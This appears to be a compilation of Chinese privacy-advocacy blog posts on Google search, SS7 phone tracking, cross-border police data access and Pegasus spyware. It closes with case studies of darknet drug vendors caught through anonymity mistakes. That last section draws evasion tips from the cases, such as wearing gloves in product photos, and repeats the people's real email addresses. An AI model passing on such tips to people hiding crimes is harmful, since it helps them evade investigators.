“当长期来看，谷歌能让搜索者对他们的平台上瘾时，谷歌就能赚到最多的钱”，SEO专家兰德·菲什金 (Rand Fishkin) 告诉 Markup。“如果谷歌能训练你，让你不要去 Genius.com、不要去 TripAdvisor、不要去餐厅的网站，只要来谷歌 —— 总是来谷歌，永远来谷歌—— 那么他们就稳赢了“。只要他们赢了，可 “谷歌” 的范围，实际上就只会收缩。简单说，你的认知就只会被收缩。

如果说搜索一开始是通过系统地将文本还原成答案，那么谷歌现在则是进一步将这些答案还原成一个个 *确定的答案*。

但它仅靠自己的产品是无法做到这一点的。正如SEO专家 Pete Meyers 所指出的那样，人类策划的知识图谱 “永远跟不上我们可以提出的近乎无限的问题”。他猜测，这就是为什么谷歌在2014年推出了 “特色摘要”。

特色摘要出现在一个方框里，通常是在页面的顶部，这让它们看起来和它们经过更多审核的表兄弟们一样 “权威”。然而人们可能忘了，这段文字只是谷歌的算法从某个地方找到的。

在写这篇文章的过程中，我遇到的第一个特色摘要，是对 “搜索引擎优化行业市场有多大” 这个疑问的回答。谷歌显示了一个大大的粗体字 “800亿美元”，下面还有几行字体较浅较小的字，出现在我屏幕上方的方框里。在大多数情况下，我都会很满意。很多人都会和我一样。而2019年6月，第三方数据首次显示，大部分在网页浏览器中进行的谷歌搜索并没有导致任何点击。

我发现，800亿美元这个摘要来自一家咨询机构的博客文章，其中有这样一句话，“福布斯的SEO统计数据引用 Borrell Associates 的数据强调，到2020年，美国企业在SEO服务上的支出将高达800亿美元”。这句严重套路的话语只是看起来像事实而已，如果你不真正去读原文的话。

有多少次，我理所当然地认为的一个 “事实” 可能根本不是事实，或者把我对事实的了解误认为是理解？有多少次我误以为自己知道，因

为它是以一种我认为是知识的形式呈现给我的？

在《谷歌化的反思》（2011）一书中，Siva Vaidhyanathan 引用了2008年的一项研究表明，随着1998年到2005年之间越来越多的期刊开始在网上发表，科学文献作为一个整体，引用的来源越来越少。用他的话说就是，研究人员更有可能“呼应主流共识，缩小他们研究的知识基础”。

当我用法语给法国朋友写邮件时，我会在谷歌上搜索许多表达方式。如果有成千上万的结果，我就觉得自己写对了那句话。如果没有结果或者只有几个结果，我就会重新调整措辞 —— 尽管这并不代表我弄错了。大多数可能的词语组合还不存在于谷歌上，但我无法抗拒将自己限制在那些存在的词语上所获得的“自信”和避免尴尬的庇护。

Maël Renouard 在2016年出版的《无限记忆的碎片》一书的开头就回忆了一个晚上，当他走在大街上时，他有一种冲动，想谷歌一下两天前下午5点他自己在做什么。琳达·贝斯纳（Linda Besner）在2019年为 Real Life 撰写的一篇文章中，讲述了类似的经历。“我走在街上的时候，突然想到我奶奶是否做过隆鼻手术？我回家后就去谷歌了一下”。 她瞬间意识到，和之前的 Renouard 一样，她其实做不到这一点，她把这种现象称为“无法谷歌”。

有很多无法 google 的东西，我们还是会去 google。在《每个人都在撒谎》（2017）中，塞斯·斯蒂芬斯·达维多维茨（Seth Stephens-Davidowitz）写道，“人们很烦人”和“我很悲伤”这样的事每年都有成千上万的搜索。他将这些搜索描述为试图将搜索“作为一种告白”，是一种“将未经审查的想法发泄到谷歌中，而对它能否帮助我们不抱太大希望”的方式。但忏悔往往是一种请求帮助的方式，是在希望康复的情况下提出的（雅各书5:16：你们要彼此认罪，互相代求，使你们可以得医治）。有时它也是一种自我认识的尝试。忏悔式搜索意味着的问题是：我是谁？我出了什么问题？我可以被救赎吗？谷歌无法回答这些问题，但它可以将这些问题还原成可回答的形式。

> 有多少东西只是我错误地认为自己知道的，只因为它们是被以已经确定的“知识”形式呈现给我的？

在我搜索“我很伤心”的结果中，第一页包括：“当你真的很悲伤时要做的7件事”；“6个强大的快乐小贴士”；“5种感觉快乐的方法”……谷歌不能解决伤心的问题，但它可以通过不同的逻辑来重构这个问题，让“伤心”看起来不那么像一个存在的问题，而更像是一个DIY的家庭维修查询。它可以鼓励你放弃不可 **google** 的东西，而选择可

google 的东西。你的悲伤并没有消失，但你有了一个 “答案”—— 或者至少你知道有一个 “答案”—— 这感觉很好。

诗人和哲学家几乎永远都在警告这种自我安慰的危险。苏格拉底有一句名言：他的智慧来自于知道自己什么都不知道。约翰·济慈把 “消极能力”—— 他把这种品质归结于 “有成就” 的人—— 定义为 “在不确定、神秘、疑惑中停留的能力，而没有任何烦躁地达到事实和理由之后”。

唐纳德·巴塞尔姆 (Donald Barthelme) 在1985年的文章《非知觉》中认为，这是 “允许艺术被创造的原因”。乔治·巴代伊 (Georges Bataille) 认为 “不知道” 是一种固有的人类状态。他在《内心体验》（1943）中写道，宇宙 “不可知的巨大”，“无限地躲避着寻求它的个人”；“知道” 只是 “人类试图以自己为整个宇宙的手段”。

谷歌旨在将世界简化为它所能提供的答案，它掩盖了（或试图掩盖了）宇宙的无限不可捉摸性。

4月，一位年长的亲戚在我们的家庭群组里发了一篇文章，讲的是两个急诊医生质疑 Covid-19 严重性的视频。这两位医生的评论后来受到了美国学术急诊医学会和美国急诊医师学院的指责，因为他们认为这种疾病并不比流感更致命。我花了几个小时的时间在家庭群组里发文，试图说服我的家人不要相信这个。我疯狂地上网搜索，在群里发了一篇又一篇的文章，试图诋毁那两位医生。“我认为你不明白他们所做的统计论证”，我的亲戚回应道。

的确，虽然我确信医生们是错的，但我并不完全确定什么是对的。这场大流行使我无法忽视我所引用的权威机构的错误性。

在1月和2月，《纽约时报》和《华盛顿邮报》都刊登了淡化病毒危险性的文章，只是在几周后才把它作为危机来报道。3月，疾控中心说大多数人不需要戴口罩，4月才决定人们应该戴口罩。公共卫生专家多次未能充分解释低风险和高风险活动之间的差异。大学、医学期刊和制药公司推动了一项又一项的研究，记者们也报道了这些研究。在提供答案的巨大压力下 —— 再加上为了吸引眼球的 “常规” 压力 —— 这些消息来源中的许多人把结果说得比真正的结论更加言之凿凿。他们这样做的方法之一是不在其他研究结果的背景下介绍每项研究结果。

导致这一失败的原因不胜枚举，其中包括新信息的数量。从5月到8月，平均每天有400份关于 Covid-19 的新研究报告发表。按照这个速

度，即使是做研究的人也不可能跟得上。当他们必须搜索，以了解外面的情况时，他们很有可能会依赖 Google Scholar。

10月，两位研究人员发表了一篇文章，建议其他研究人员不要去谷歌。虽然谷歌学术以其“高效、简洁”的界面、“完全适合”有明确目标的“查找搜索”，但是，它在帮助研究人员综合已知内容方面“失败得很惨”。就像我们其他人使用的搜索一样，**Google Scholar** 可以让你觉得自己在很久之前就已经学到了你需要知道的东西。

“不幸的是”，作者写道，它似乎不是专注于“研究人员在所有搜索任务中需要完成的任务”，而是专注于“让用户更快满足（而不是更聪明）”。但有一些系统，比如 PubMed，更适合研究人员需要做的工作。

【注：PubMed 是主要用于检索MEDLINE数据库中生命科学和生物医学引用文献及索引的免费搜索引擎。该系统属于美国国立卫生研究院下属的国家医学图书馆维护的 Entrez 信息检索系统的一部分。 】

从某种意义上说，玛格丽特·杜拉斯要回答的问题仍然是开放的。对于一个电视采访来说，这是一个奇怪的问题，因为她的回答是断然的，“人们总是需要答案”，采访者开始说，“即使有一天，这些答案被证明是假的，或者只是临时的”。 他想知道的是，在未来，答案会在哪里？

- 别再依赖谷歌了，或者准确说，不要再被谷歌的算法所绑架；您需要知道您需要的东西最有可能在哪里找到 —— 很多时候可能不是谷歌《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

○□

Easy Answers

原文

跟踪任何手机，在全世界的任何地方：只需要一个手机号 - iyouport

你应该了解的现实自我保护措施-技术技巧以防身

不要再用手机接收验证码了

这不是新的警告，您应该从很多年前就开始注意到这一危险了；并不是因为这种监视技术在全球部署才开始关注这件事。

去年底安全研究人员发现的证据表明，欧洲、中东、非洲、亚洲、和澳大利亚的多个政府机构已经购买了一种监视技术，这种技术可以远程跟踪手机的位置，并拦截可超出本国国界的通信。

多伦多大学蒙克全球事务学院的数字权利监督机构公民实验室发表了一份报告，描述它发现了一家名为 Circles 的公司在25个国家部署手机间谍技术的技术证据。

Circles在**2014**年与全球最臭名昭著的政府恶意软件供应商**NSO**合并，销售通过**SS7**电话网络追踪手机的能力。**SS7**网络和相关协议用于漫游，但有安全漏洞，允许监控公司和有经济动机的任何犯罪分子利用它。在这里看到具体说明《什么是 SS7，据称中国正用它来窥探特朗普的手机？》。

公民实验室的报告中提出的证据表明该监视技术的部署与各个国家有关。这则消息凸显了SS7监控技术似乎被广泛采用，该技术依赖于世界各地电信供应商使用的**SS7**网络的基本缺陷，几十年来一直是网络安全问题。公民实验室的报告还显示，一些曾对人权维护者使用监控技术的国家可能也正在购买这种技术。

“你可以从任何国家和在世界上任何地方追踪任何电话号码”，一位直接了解 Circles 技术的人士说。该消息来源是关于SS7的一般说法，而不是关于任何特定 Circles 客户的能力。主板允许该消息人士匿名，因为根据保密协议，他们无权向媒体谈及 Circles 问题。

根据公民实验室的调查，研究人员怀疑 **Circles** 的客户包括欧洲政

府，如比利时和丹麦。值得注意的是，其中一个疑似客户包括五眼情报伙伴关系的成员：澳大利亚。

在非洲，公民实验室指出了博茨瓦纳、津巴布韦和肯尼亚。在南美洲，潜在客户包括萨尔瓦多、智利和洪都拉斯。

公民实验室在其报告中写道："上述许多已经获得和/或部署了Circles监视技术的政府客户，在侵犯人权和技术监控能力方面都有着糟糕的记录。许多政府缺乏公共透明度和问责制，对其维稳机构的活动的独立监督极少或完全没有。"

报告中提到的大多数政府都没有回应通过执法部门和情报机构或大使馆发出的评论请求。爱沙尼亚外国情报局拒绝对其能力发表评论，澳大利亚联邦警察拒绝发表评论，丹麦军队说它无法在公民实验室的报告发表前及时提供答复。马来西亚驻华盛顿特区大使馆拒绝发表评论，称"未经[首都]事先批准"。这种监视技术的部署地区

公民实验室说，它首先通过查询 Shodan 和检查 Circles 拥有的一系列IP地址来确定可疑用户。这些结果提到了网络安全公司 Check Point 的一款防火墙，并包含一个与 Circles 有关的域名。公民实验室说，它随后搜索了其他数据集，寻找该域名的出现。公民实验室随后确定了其他明显的 Circles 安装，在某些情况下包括诸如"client-circles-thailand"，或其他防火墙工具，如墨西哥的防火墙为"Mercedes"，阿布扎比的"Aston"，以及迪拜的"Dutton"。

在某些情况下，公民实验室认为它可能已经确定了参与部署 Circles 的特定机构。报告称，在一个案例中，Check Point 的防火墙将客户识别为"智利PDI"，即该国的主要执法机构。报告说，在另一个案例中，WHOIS数据包括一个与丹麦军队有关的电话号码。

Check Point 的公共关系主管 Ekram Ahmed 在一封电子邮件中说，"Circles不是 Check Point 的客户或合作伙伴。此外，我想强调的是，任何网络服务上显示的任何可识别数据都是由拥有它的网络管理员配置的，而不是由 Check Point 配置。因此，我们不能确认Shodan上显示的名字与有关实体之间的联系。"

SS7网络的根本问题是，它不能验证谁通过它发送了一个请求。这意味着，获得网络访问权的其他各方，如 **Circles** 这样的监控供应商或犯罪分子，都有可能像其他人一样找到目标手机的位置或拦截您的验证码短信。多家公司确实提供了针对此类攻击的防御措施，但SS7仍然普遍容易被利用。

熟悉 Circles 的消息人士解释说，该公司为客户提供了通过***SS7***追踪当地手机的能力，同时也提供了追踪其他国家手机的能力—— 需要额外付费。该消息人士说，通常客户会购买更昂贵的选项，以便能够跨国追踪任何他们想要的任何人。

一位NSO的前雇员之前告诉主板，NSO和 Circle 的产品之间的结合有问题。

这位前雇员说："我们的战术解决方案从来没有真正发挥作用[……]，因为与Circles的整合很糟糕"。主板允许他们匿名，因为他们担心向记者发表意见会遭到公司的报复。"我们的想法是，总和将大于其部分。他们将增加攻击载体，但实际上，在整合方面很少有成功的案例。他们夸大了他们的系统能力"，该消息人士说。但是他也说，Circles 在墨西哥的地理定位系统工作得 "非常好"。

警报：针对高风险用户的建议

无论您是记者、人权捍卫者、活动家，还是政府雇员，或者任何手机用户，这一电信网络的漏洞都可以使对手拦截您的验证短信并入侵您的账户。

如果您认为自己会由于身份或您所做的事而面临来自国家政府的监视威胁，强烈建议您在所有可能的账户中立即转移此前基于短信的双因素身份认证。改用安全密钥。

以下是如何为您的一些账户使用安全密钥的提示：

1、安全密钥可以从多家公司购买，请确保您的安全密钥与您的手机、笔记本电脑和台式电脑兼容。您也可以买一把带NFC（近场通信）的钥匙，以无线方式连接到您的手机。

2、在设置钥匙之前，请首先熟悉丢失钥匙的程序，以确保您不会把自己锁在外面。最简单的选择是至少有一把备用钥匙，以备丢失主钥匙时使用，并同时注册主钥匙和备用钥匙。大多数网站都提供恢复机制，以防您丢失钥匙，包括认证器应用程序、基于短信的恢复密钥和备份代码（您可以在某个地方安全存储的一次性恢复代码）。其中短信的就不要用了，其他的都可以。

3、一些支持安全密钥的网站和服务包括 1Password、Dropbox、Facebook、谷歌、微软和 Twitter。要查看哪些服务提供安全密钥作为认证选项，请在这个 2FA 列表中的 "硬件令牌" 下寻找一个复选标

记。

您需要将安全密钥与您想使用它的每个账户配对。在电脑上做这件事比较容易。有些服务不允许您使用他们的移动应用程序注册密钥，尽管一旦设置好，您就可以在应用程序中使用您的密钥了。

其他服务只允许您用浏览器使用密钥，而不是用移动应用程序。在这种情况下，他们可能会要求您提供验证器代码。如果您还没有，一定要用身份验证器应用程序设置多因素认证，以防您遇到无法在移动设备上使用钥匙的情况。

4、您可能不需要经常使用硬件钥匙。有些网站要求您在每次登录时都使用它，而其他网站则可能在您修改密码、从新电脑登录、或更改账户信息时要求您使用。所以要确保把它放在容易拿到的地方，比如钥匙链上。有些钥匙可以不引人注意地放在您的笔记本电脑或台式机的USB端口中。

建议将您的备份钥匙存放在安全的地方！如上锁的保险箱。

此外，对于流行的应用程序，如 Signal、WhatsApp 和 Telegram 上的账户，强烈建议您立即为您的账户启用安全PIN码或密码。

- 对于Signal
- 对于WhatsApp
- 对于Telegram

📌 不要错过，关于如何挑选合适您的密码管理器。

此外，《如何才能安全地使用端对端加密（比如Signal）：准则》。
○

在这里看到报告《Running in Circles》

原文

跨国追捕如何变得更加容易？ - iYouPort

为什么你应该了解的现实

这类法律允许其中任何国家官员从其他国家的公司获取个人信息。

「图」

「图」

互联网的全球性意味着，当数据存储在其他国家时，全世界的警察机构都面临着追踪监视的挑战。对许多政府而言，这意味着剥夺对隐私的法律保护。

⚠ 很快，其他国家的警察可以根据国际协议或其他法律倡议，从国外获取数据。也就是跨境追踪。

在新的跨境当局的领导下，其他地方的警察可以获取证据来调查在您的国家甚至可能不是犯罪的事，并且法官或您本国政府的任何人都可能不会审查他们对数据的要求。

去年 EFF 一直在争夺法律文件的访问权，例如 美国的《 CLOUD法案》、《 US-UK CLOUD 法案协议》、即将发布的《 US-Australia CLOUD 法案》协议、美欧协议提案、欧洲电子证据提案、欧洲委员会《布达佩斯公约》修正案提出的跨境数据交换系统。

其中一些是仅涉及两个国家的双边交易，但是另一些协议（尤其是欧洲和布达佩斯公约机制）则可能涉及数十个国家，并迅速迎来法律变革 —— ⚠ 允许其中任何国家官员从其他国家的公司获取个人信息。

互联网没有国界，但国家和司法管辖区有国界。我们不想失去无国界互联网的诸多好处：个人可以与世界另一端的其他人快速便捷地进行平等交流、企业可以光速交易等等。

但是，法律是由国家执行的。每个国家都希望看到自己的法律得到执行，而且有时他们认为这需要超越国界行事。

互联网管辖权问题在所有不同情况下都会出现，涉及人权的许多不同方面。

但是今天，它们在跨境数据访问协商的背景下尤其明显。

隐私权管理机构担心这些交易无法保护公众的权利；例如，欧盟的隐私监管机构就美欧谈判和布达佩斯公约修正程序提出了自己的警告。

地域性原则与法律制度之间的差异

默认情况下，国家只能在自己的领土内执行其法律。但是不同国家的法律却大不相同。其中首先包括什么是犯罪，什么可能是犯罪，执法人员在访问个人数据之前必须证明什么，以及不同种类的个人数据是否受到法律保护。

不幸的是，跨境提案的趋势是试图通过采用保护性较小的规则来忽略这些差异中的大多数。

在监控法中，我们看到一些国家互相争夺一条不幸的终点线：对每个人的隐私保护能力降到最低。例如，在美国，政府需要至少显示“可能的原因”以及更高的实时侦听标准。在其他地方，例如在加拿大，我们看到了对订户数据的强大保护。巴西（与美国不同）要求对大多数数据（内容或元数据）的获取获得法院手令。

而当各国之间开始就如何执法获取数据进行谈判时，这些分歧可以被消除：

- ⚠ 他们提议对与当局共享数据的公司进行豁免，即使是在目前禁止这种做法的司法管辖区也是如此。
- ⚠ U.S. CLOUD Act 将允许美国官员在向其他国家索取数据时忽略外国的隐私保护，同时与美国达成协议的外国政府也将能够通过在美国境内使用自己的法律来避免美国的隐私保护。

在某些情况下，外国的法律可能不符合国际人权标准。

例如，数据保留指令（即使用户没有犯罪嫌疑，也要求保留有关用户的元数据）在欧洲法院被宣布为非法。但是，许多欧洲数据保留法律仍然存在，并继续得到执行。

各国可能通过这些协定中的治外法权有效地出口其不良做法或薄弱的人权保护；两国就分歧进行谈判时，最弱的人权保护可能会获胜，糟

糕的当地法律极有可能会凌驾于国际人权标准之上。

不要拼底线

官方国际法律合作已经存在了数百年，包括引渡和刑事调查合作。但是，这不应该成为破坏双方法律体系及其提供的保护的借口。不应该将最薄弱的隐私保护纳入事实上的全球标准。〇

Foreign Police Want to Bypass Privacy Laws—and Courts—to Get Data from Abroad

原文

这个鲜血淋漓的故事再次提醒：你的熟人中如果有不注重隐私安全的人，其结果是什么 - iyouport

你应该了解的现实

【2018年12月5日存档】当权者总是曲线入手，他们不一定首先瞄准你，而是瞄准你周边的人，这样做更不容易引起你的警觉。

关于对持不同政见者的间谍软件攻击导致沙特异议记者 Khashoggi 死亡的新细节正在出现。

“就在一年前， Assiri 还根本没想到沙特的监视会有多么大的威胁。而他现在终于认识到其严重性了… 鲜血的教训。这是关于邪恶政权如何实施跨国迫害的模版，关于为什么移民流亡并无法逃脱魔掌。

- 关联：《当权者如何通过高端数字间谍技术，辅助了现实中的杀戮》这就是为什么您不应该轻视数字监控，否则它很可能威胁到您和您身边人的生命

沙特政权针对居住在国外的持不同政见者的行动显然比以前人们所知道的更为普遍了，并且包括在 Khashoggi 被残害之前几个月中发生的一系列阴险的数字攻击。其中一位被攻击的持不同政见者是著名的 YouTube 漫画兼讽刺作家 Ghanem Almasarir，他旅居伦敦。

我们已经多次介绍过这个名为 Pegasus 的超级隐形间谍软件。该工具能够在目标的 iPhone 上偷偷保存一切私人信息，从 WhatsApp 聊天到电子邮件、并可以利用智能手机的摄像头和麦克风监视和监听。该产品来自价值 10 亿美元的以色列间谍软件经销商 NSO。

Pegasus 的不同之处在于它感染目标的方式，以及攻击的成本。Pegasus 如此难以被察觉的原因在于，它利用了 Google 或 Apple 不为人知的软件缺陷—即 0-day，这意味着即使是最新的安全更新也无法阻止它。

注意：美国私募股权公司 Francisco Partners 是以色列间谍软件制造商 NSO 的投资人。

以下是详细介绍：

- 关联：《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？》
- 《追踪零日漏洞市场的肮脏：可怜正义没有钱》

Almasarir 成为了流亡在英国的、第二个被确认遭受 Pegasus 感染的目标，另一位是政治活动家 Yahya Assiri。Pegasus 一直在针对反对者发起攻击。其他受害者包括一名在沙特相关问题上工作的大赦国际组织员工，以及来自加拿大魁北克的流亡活动家 Omar Abdulaziz（两个我们都介绍过，在这里看到《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》）。

⚠ 而 Assiri 透露，他和另一位受害者 Abdulaziz 一样，都是经常接触/联络被残害的记者 Khashoggi 的。NSO 的恶意软件已经进入包括美国在内的 45 个国家。

“他们能在情感上，在精神上折磨你，他们是这方面的专家。”

受害者 Almasarir 事实上是一贯谨慎的人，他从不点击任何来自未知发件人的链接。但他还是中招了。当被问及他正在运行的 iOS 版本时，Almasarir 很自信地回答说这是最新版本。但是快速检查显示他错了。他正在运行的是2月份发布的 iOS 11.2.6。当他试图检查软件更新时，发现一直在不断加载中，这可不是个好兆头！据 Marczak 称，这是 Pegasus 可能隐藏在设备上的迹象。

研究人员证实，短信不仅是试图诱捕 Almasarir 的诱饵，而且这个偷偷摸摸的软件一旦在 iPhone 上找到了家就会阻止 iOS 更新。

Assiri 曾经经常与被残害的 Khashoggi 接触—显然沙特皇室将他定为间谍软件入侵目标是有原因的。

早在 2017 年12月，Assiri 组织了 ALQST 在伦敦召开的第一次会议，与人权观察、大赦国际和无数其他活动组织的与会者一起，Khashoggi 本人也参加了，通过 Skype 拨号并出现在大屏幕上。会议结束几天后，阿拉伯日报 Al-Hayat 发表了一份声明来自其所有者沙特王子哈立德·本·苏丹。消息称该报已正式结束与 Khashoggi 的关系，王子称他 “参与可疑会议，试图破坏王国”。

半年后，Assiri 就遭遇了 Pegasus 间谍软件。来自德国号码的一条奇怪的消息告诉 Assiri 他应该出庭。由于担心内部的链接是恶意的，他在一台不介意被感染的苹果 Mac 上打开它，页面看起来非常像是沙特阿拉伯司法部的官方网站，导致 Assiri 相信它是合法的。也因此他后来在自己的 iPhone 上打开了那个链接。然后，灾难就来了。

是的，那只是一个伪装得非常好的假网站。

Assiri 以前根本没有想到沙特的监视会有太大的威胁。但他现在不得不清醒了。并且，他警告说，围绕王国使用监视工具的揭露产生了更多令人不寒而栗的影响。直到最近，他还在使用 Telegram 收集仍然居住在祖国的活动家的信息。以前，在几分钟内就能收到详细信息，例如囚犯的健康问题。而现在，需要数天或数周才能获得相同的信息。

New details are emerging on digital attacks on dissidents leading up to #Khashoggi’s death. “Just a year ago, Assiri didn’t think there was much of a threat from Saudi surveillance at all. He’s now changed his mind.” #NSOGroup #pegasus

原文

这些使用暗网的人是如何被抓到的？ - iyouport

你应该了解的现实老大哥的真面目

【2019年12月13日存档】很多情况下，你只有一次犯错的机会。所以，应该非常小心

如今暗网对当局来说已经不再是深不可测了。他们已经多次成功从暗网抓捕目标人。

本文即将讨论的不是技术问题，而是人的问题 —— 是基本操作安全方面的错误导致的追踪和逮捕。

暗网依旧是活动家和记者躲避当局监控的途径；如果敏感人士犯了类似的错误，任何反追踪技术都会失败。

于是本文认为有必要梳理一下他人的教训，以帮助更多人提高警惕性。

以下是一些比较著名的案例。

Emil Babadjov

（又名 Blime-Sub 和 BTH-Overdose）

Babadjov 的职业生涯相当短暂，并且他犯了一些令人惊讶的低端错误，其中许多错误就是导致他被捕并随后被监禁的原因。

通过 Alphabay 上的 Blime-Sub 和 BTH-Overdose 帐户，Babadjov 出售芬太尼、海洛因和甲基苯丙胺。记录显示，Babadjov 仅在 Alphabay 就完成了近2,000次销售。

2016年1月，缉毒局（DEA）的一个工作组将他的账户确定为破解和逮捕暗网供应商的潜在目标。

根据DEA特工 John Brown 的一份刑事诉讼：多个讨论暗网市场的论坛中用户发布的信息都显示了 Babadjov 运送包裹的大致位置。

客户注意到 Blime-Sub 和 BTH-Overdose 这两个账户都从大约相同的区域运送包裹：西海岸，“可能在加利福尼亚的某个地方”。*Alphabay* 上的 *Blime-sub* 列表

特工 Rabaut 检查了与 Alphabay 供应商账户 BTH-Overdose 相关的PGP密钥的用户身份信息。

虽然 Babadjov 没有使用他的真实姓名，但他使用了一个致命的电子邮件地址：babadjov@gmail.com。

简单的开源情报收集就让DEA特工找到了登记为 “Lime Vojdabab” 的 Facebook 帐户。

一个假名，而且显然是 Emil Babadjov 倒着拼的结果。这种方法太傻了。

SA Rabaut 向数字货币兑换商 **Coinbase** 发送了传票，要求他们提供有关 babadjov@gmail.com 的任何信息。

Coinbase 提供的数据显示，Emil Babadjov 于2015年11月13日使用相同的电子邮件地址注册了一个帐户。

DEA特工提交的第二次搜索也取得了积极成果。他以被告的名义搜索了用户信息。

Coinbase 的记录表明，Emil Babadjov 曾试图在2016年3月18日创建一个新的 Coinbase 帐户。

他提供了一个电子邮件地址，将账户 BTH-Overdose（PGP密钥和电子邮件地址的来源）与 Alphabay 供应商帐户 Blime-Sub：blimesub@gmail.com 联系起来了。

调查人员在逮捕前收集到了更多的证据，突出的一个要素是 Babadjov 的身份证明。

执法部门假扮买主，从 BTH-Overdose 账户订购了一揽子药物，邮寄地址是位于加利福尼亚州旧金山的自助服务亭（SSK）。于是这些间谍与美国邮政检查局合作，追踪了特定的SSK以及某人支付邮资的具体时间。

由于SSK交易不是面对面交易，因此SSK系统会拍摄进行交易的人的照片。

检查员把嫌疑人的照片给了间谍，⚠间谍根据对嫌疑人的加州驾驶执照照片和社交媒体照片的对比，将嫌疑人识别为 Emil Babadjov。

Babadjov 目前正在加利福尼亚州 Lompoc 的低安全性联邦惩教所服刑。

总结 **Babadjov** 的低端错误：

- 致命的电子邮箱 babadjov@gmail.com

千万不要使用与你的真实身份存在任何联系的注册信息（见《完美隐身：技术增值部分》）；千万不要使用谷歌服务（见教训《他们是如何抓捕说真话的人？》）

- 低端的假名

这是最愚蠢的部分，但可以说很多人都会在此犯错 —— ⚠当人们尝试给自己换一个名字时，他们往往非常缺乏创意，因为他们会下意识的感觉“那个名字是不是合适我”。

这是致命的错误！⚠越是“合适你”的名字，说明越容易与你的真实身份发生联系。就像现实中的乔装，你必须选择*非常不合适你*的服饰，正常情况下你永远都不会碰的衣服，那才是最好的乔装。

（在这里选假名《少数派玩家》）

- 数字货币兑换商和自助服务亭提供的信息

这似乎很难根本性避免，但你完全可以采取我们在“完美隐身”系列中介绍的狡兔三窟游戏，让追踪者撞墙。在这里回顾（链接内有本系列前半部分内容汇总）。

- 更加令人哭笑不得的是社交媒体照片

社交媒体晒照片有多致命就不用说了。如果您曾经在互联网上任何地方发布过自己的照片，并且无法彻底删除，那就请彻底放弃相关身份，彻底分身，否则不要参与任何敏感的对话和行动，⚠否则会连累其他队友。

Abudullah Almashwali 和 Chaudhry Farooq

（又名“Area51” 和 “DarkApollo”）

Almashwali 和 Farooq 在 Alphabay 暗网市场上销售阿片类药物。他们使用供应商帐户 Area51 和 DarkApollo 作为用户名。

不出所料，Babadjov 被捕背后的缉毒局（DEA）工作组也调查了 Almashwali 和 Farooq。

DEA特工 John Babaut 是 Babadjov 案的首席调查员，就是他领导了对 Almashwali 和 Farooq 的调查。他在两次调查中都采用了相同的策略。

或者说，⚠两个案子中的被追踪对象犯有类似的错误 —— 没能完全隔离真实身份。来自 *Area51* 的海洛因 *Alphabay* 列表

Alphabay 上的 Area51 和 DarkApollo 供应商帐户的用户ID包含链接到其他服务的电子邮件地址：Adashc3l@gmail.com。

⚠而“其他服务”直接将被告确定为帐户所有者了。

在社交媒体上简单地搜索 “Adashc31”和“Adashc” 就能发现 Twitter、lnstagram 和 Facebook 帐户，属于被识别为 Ahmed 的人，名字是 Farooq 或 Ch. Ahmed Farooq，这是写在刑事诉状中的。*Farooq* 的推特账号

根据来自论坛的有关暗网市场和供应商的信息（可能是/ r / darknetmarkets），特工知道 Area51 和 DarkApollo 的邮寄包裹来自纽约布鲁克林的邮局。

同时与“Adashc31”搜索相关的 **Facebook** 个人资料显示”Farooq”居住在纽约。

SA Rabaut 传唤了 Facebook 以获取与该帐户相关的所有信息。Facebook 提供了有关 Farooq 的信息。

值得注意的是，根据起诉书，间谍收到的电话号码是“针对在纽约布鲁克林销售海洛因的毒品贩运组织（DTO）正在进行的调查的一部分。”

执法部门与 Area51 和 DarkApollo 进行了秘密交易（在起诉书中称

为UC Parcels）。这些包裹包含执法部门订购的海洛因以及 **Almashwali** 的指纹。

邮政检查员发现了 Almashwali 经常使用的自助服务亭（SSK）；DEA 特工确认了SSK拍摄的相关照片。

Farooq 的脸似乎避开了监视相机，Almashwali 作为他的托运人，使 Farooq 不受调查人员的影响。

但是，⚠Almashwali 在支付 SSK 邮资时使用了 Farooq 的信用卡。该卡与 Farooq 的真实姓名和地址相关联。

2017年7月24日，一名联邦法官判处 Almashwali 在监狱服刑6.5年。2018年1月23日，Farooq 被判处入狱23个月。

总结他俩的低端错误：

- 使用真实身份信息标注 Facebook 个人资料是史上最愚蠢的行为

如果你必须使用 Facebook（对于活动家来说的确如此）那么请使用这里的方法缓解危险《如何建立一个匿名 Facebook 账户以保护个人数据的私密性？》；以及这里的方法应对所有社交媒体的危险《注意事项》。

- 信用卡是致命之源。信用卡和任何在线支付都是你的完整生活全景图

Jose Robert Porras III

（又名 “Canna_Bars” 和 “TheFastPlug”）

与许多其他供应商一样，**Jose Robert** 栽在将比特币兑换成美元上。

尽管只要有一个错误就足以致命了，但这个错误依旧是相当独特的。

纽约的卧底特工假扮洗钱服务以接近暗网供应商。供应商将比特币和其他加密货币交给洗钱者，以兑换美元（是的，这是真事）。

Porras 和数十家不相关的供应商从联邦特工那里收到了现金，该特工控制了一家由暗网洗钱者经营的账户。请注意 *4072 11th Avenue*，*Sacramento California* 地址。

当然，这些信息在 Porras 被捕时就被密封了，而且所有细节—即使在整个行动中被捕的所有供应商都被定罪后—仍然是密封的。

也许其他案例能提醒一些相关的侦查策略，见《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》。

目前联邦特工很可能继续在暗网操作被扣押的洗钱者帐户。当局随后在 Porras 案中提出了一项替代起诉书，增加了十几个洗钱指控。卧底特工拿到的第一个地址

这项调查中最独特的部分来自一张广告照片 —— Porras 在 Canna_Bars 别名下发布的大麻广告。

为了证明大麻的质量，Porras 在大麻的照片共享服务 Imgur 上发布了几张照片。就是下面这样 —— ⚠灾难之源。*Canna_Bars* 展示他的产品质量的照片

你能看到他居然没有戴手套！ ……一名临时吸毒者也许没有什么可担心的，但是作为供应商，应该明白自己一直在与执法部门进行持续的猫鼠游戏。

供应商非常多，但是被抓住的只有那几个，为什么？因为只有那几个太不擅长匿名了。就如类似 **Porras** 这种低端错误。

2018年3月19日，特工在 Imgur.com 网站上下载了最高分辨率的上述广告照片，并将照片提交给了HSI法医文件实验室，以便与已知指纹进行比较 —— 指纹，逮捕的证据。*Porras* 的高清指纹

